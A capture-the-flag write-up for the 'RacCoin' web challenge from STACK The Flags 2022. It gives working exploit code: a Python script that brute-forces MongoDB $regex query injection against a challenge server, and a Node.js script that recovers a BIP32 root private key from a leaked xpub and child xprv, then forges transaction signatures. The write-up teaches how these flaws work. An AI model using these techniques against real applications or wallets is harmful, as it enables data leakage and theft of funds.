RacCoin
In STACK The Flags 2022, 1000 points
Why sweat when you can pay to win? 😉 Don't worry, your purchases are completely anonymous because RacCoin (RCN) uses blockchain! RCN is completely open-source, so you know we are secure
Challenge files: web_raccoin.zip
This challenge looks quite intimidating since there's a lot of fancy crypto that's being used, but actually due to a tiny bug it is not necessary to do any crypto at all!
In fact, only one route is required to pwn the app!
Overview
This Express app uses mongodb to store information about orders, which contain a payment address and public key, which are supposed to correspond to the same bitcoin wallet.
A user can create orders but the wallets they are linked to are empty, thus the order remains in the pending state. The user can view the payment address and 'public key' of the order they have created.
Note: later we will discover that this is not actually the public key. Keep reading to find out why.
To get the flag, the balance of the wallet corresponding to the order must be at least 15, and the order must not already be claimed.
The balance for each bitcoin wallet is stored in a separate collection in the mongodb database. Initially, some wallets are initialized with balances of 15 coins, but the orders they are linked to have already been claimed.
Vulnerability
Whenever Express and MongoDB show up together in a CTF challenge, MongoDB query injection usually follows.
MongoDB query injection occurs when a user defined JavaScript object is passed directly to a Mongoose query function, like findOne
. An attacker can inject operations into the query to modify its outcome.
Vulnerable code
Here's the simplfied code for the order route:
router.get('/', async function(req, res, next) {
// extract parameters
const paymentAddress = req.param('paymentAddress')
const publicKey = req.param('publicKey')
// retrieve order based on parameter
const order = publicKey === undefined ?
await Order.findOne({ paymentAddress: paymentAddress }).sort({ _id: 1 }).exec() :
await Order.findOne({ publicKey: publicKey }).sort({ _id: 1 }).exec();
if (order === null) {
res.status(404).send({ error: 'order not found!' })
} else {
if (order.isClaimed === true) {
res.status(403).send({ error: 'order is already claimed!' })
} else {
// process order, removed as it's not relevant to the challenge yet
}
}
});
The 'process order' part of the route will be explored later.
In this section, we will focus on leaking addresses from the database.
Since the parameters extracted from the query string (which could be objects) are passed directly to Order.findOne
, we can inject the $regex
property to test our input against a portion of the payment address instead of the whole address. If the regex matches, the 'order is claimed' error would be displayed, and if it doesn't match the 'order not found' error will be returned. Thus, we can perform a character by character bruteforce to obtain a valid payment address with 15 coins balance.
See this writeup for more info.
import string
import aiohttp
import asyncio
async def fetch(url, fuzz, session):
async with session.get(url+f"?paymentAddress[$regex]=^{fuzz}") as response:
return b"claimed" in await response.read()
async def _search(url, charset):
async with aiohttp.ClientSession() as session:
negative = await fetch(url, "FUZZ", session)
print(negative)
found = ""
while True:
tasks = []
for char in charset:
task = asyncio.ensure_future(fetch(url, found + char, session))
tasks.append(task)
responses = await asyncio.gather(*tasks)
for i, x in enumerate(responses):
if x != negative:
found += charset[i]
print(found[-100:])
break
else:
print("Not found")
break
def search(url, charset=string.ascii_letters + string.digits + "{}?~$"):
loop = asyncio.get_event_loop()
loop.run_until_complete(_search(url, charset))
if __name__ == '__main__':
search(
"http://157.245.52.169:31891/orders", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
Unintended solution
If we look at the order route carefully, we realize that the order can be retrieved via either paymentAddress
or publicKey
, although publicKey
is the default.
Let's compare that against the order processing part of the route
// fetch balance of payment wallet from raccoin server
const response = await fetch(`http://localhost:4000/transactions/balance?address=${paymentAddress}`);
const data = await response.json();
if (data && data.balance >= 15) {
// return flag if wallet has sufficient balance
await Order.findOneAndUpdate({ paymentAddress: paymentAddress }, { isClaimed: true }).exec();
res.send({'flag': flag})
} else {
res.render('pending', {
order
});
}
Hmm, publicKey
is nowhere to be found. Since the code that fetches the order uses publicKey
and the code that checks the wallet balance uses paymentAddress
, there is no requirement that the payment address and public key correspond to the same order or the same wallet.
Thus, using the public key of an unclaimed order we have created as well as the payment address of an already claimed order with 15 coins balance, we can bypass all the checks and get the flag.
Intended solution
Ok, let's dig into the crypto.
The addresses used in this challenge are generated from a master key, which is secret:
const bip32 = BIP32Factory(tinysecp);
const mnemonic = fs.readFileSync('/run/secrets/mnemonic').toString()
const seed = bip39.mnemonicToSeedSync(mnemonic);
const root = bip32.fromSeed(seed).neutered()
From the root key, child keys can be generated via a Child Key Derivation Function. I found a nice article about hierarchical deterministic keys that explained a method to attack this cryptosystem.
This flowchart is particularly important to understand the attack.
To summarize, the child's private key is derived from the parent's private key and a hash of the chain code and the parent private key (follow the flowchart vertically downwards from start). Crucially, this derivation operation is simply adding two numbers together. Thus, if we know one of the numbers (eg the hash), then we can trivally find the other.
However, the problem is we don't know the hash (yet).
Interestingly, there is another way to generate the same hash, from the parent's public key (follow red arrow):
This is probably so that child public keys can be generated from parent public keys.
The parent public key can be leaked via the mongoDB injection vulnerability discussed earlier, although you would need to check that the leaked key is the root public key and not one of the child keys (check the depth field).
However, this means that if we have the parent public key (and thus the hash) and the child private key (which is basically hash + parent private key), we can easily recover the parent private key.
Now, the only challenge is to find the child private key.
This comes from a second (third?) vulnerability in the application in the orders.js
file:
const bip32 = BIP32Factory(tinysecp);
const mnemonic = fs.readFileSync('/run/secrets/mnemonic').toString()
const seed = bip39.mnemonicToSeedSync(mnemonic);
const publicKey = bip32.fromSeed(seed)
The only difference between this code block and the previous code block is the lack of the neutered()
function call on the last line. The neutered()
function transforms a private key to a public key. So the variable publicKey
is actually the master private key.
From an outsider's perspective, it is quite confusing that Bitcoin's terminology for removing the private key is 'neutering'. Perhaps this could lead to a lot of vulnerable web3 apps created by beginners. Perhaps the public key should be returned by default, with an option to return the private key as well.
Next, in the order route, child keys are derived from the master private key:
router.post('/', async function(req, res, next) {
// get next index of child wallet
const i = await Order.countDocuments().exec() + 1;
// derive child wallet at index
let child = publicKey.derive(i);
// create new order
const order = await new Order({ paymentAddress: getAddress(child), publicKey: child.toBase58(), isClaimed: false }).save();
res.send(order);
});
Again, since neutered()
is not called on the derived key, the 'public key' returned to the user is actually the child private key.
Now, we have all the building blocks for the attack. After some math and endianness quirks, we recover the root private key. From there, we can derive the private key of the children and forge signatures to the /transactions
endpoint to transfer money to our payment address, which will allow us to claim the flag.
const { BIP32Factory } = require('bip32');
const {algo, enc} = require("crypto-js")
var bitcoinMessage = require('bitcoinjs-message')
const math = require("mathjs")
const tinysecp = require('tiny-secp256k1');
const bitcoin = require('bitcoinjs-lib');
const { default: ECPairFactory } = require('ecpair');
const bip32 = BIP32Factory(tinysecp);
const parent = bip32.fromBase58("xpub661MyMwAqRbcFf8G4rosRytSFZN6kKRr1Am9EhGcaHJxkroj71Qc7h7CwaZLwEMMHoA9sHs51MBLYdPD9ScpD1zRvtF6DiEqpcr9PmVzwKh")
const priv = bip32.fromBase58("xprv9uKDTtwoTnDVcSk3j2i91LuJgcjTvP35x9y2i9JcQtmGNC6L5893yUwLhcHeoKvQp71qa5U7r6qUTszELEoKScRefmFmmdpoqLJTQjwnzYs")
function getAddress(node) {
return bitcoin.payments.p2pkh({ pubkey: node.publicKey }).address;
}
// We just need to derive the left 32 bytes
const hasher = algo.HMAC.create(algo.SHA512, enc.Hex.parse(parent.chainCode.toString("hex")));
// 22 because there are 20 children + 1 root + 1
// 22 in 4 byte big endian
const index = "00000016"
hasher.update(enc.Hex.parse(parent.publicKey.toString("hex")+index))
const res = hasher.finalize().toString();
const left256Bits = res.substring(0, 64);
const right256Bits = res.substring(64, 128);
console.log("Right bits == chain code?", right256Bits == priv.chainCode.toString("hex"))
const mathjs = math.create(math.all);
mathjs.config({ number: 'BigNumber',precision: 300, });
// Curve order from https://en.bitcoin.it/wiki/Secp256k1
const recovered_private_key = Buffer.from(mathjs.evaluate(`hex((0x${priv.privateKey.toString("hex")} - 0x${left256Bits})% 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141)`).substring(2),"hex")
parent.__D = recovered_private_key
console.log("Root private key",parent.toBase58())
console.log("child priv key match?", parent.derive(22).toBase58() == priv.toBase58())
// Derive a child address which has stonks in its account
const child1 = parent.derive(0)
const stonks_addr = getAddress(child1)
const payment_addr = getAddress(priv)
console.log("stonks child address",stonks_addr)
console.log("payment address", payment_addr)
// Sign message
const ECPair = ECPairFactory(tinysecp)
var keyPair = ECPair.fromWIF(child1.toWIF())
var privateKey = keyPair.privateKey
var message = `{\"amount\":15,\"receiverAddress\":\"${payment_addr}\"}`
var signature = bitcoinMessage.sign(message, privateKey, keyPair.compressed)
console.log("message", message, "sig", signature.toString('base64'))
To leak the root public key, modify the fetch
function of the python script above to:
async def fetch(url, fuzz, session):
async with session.get(url+f"?publicKey[$regex]=^xpub{fuzz}") as response:
return b"claimed" in await response.read()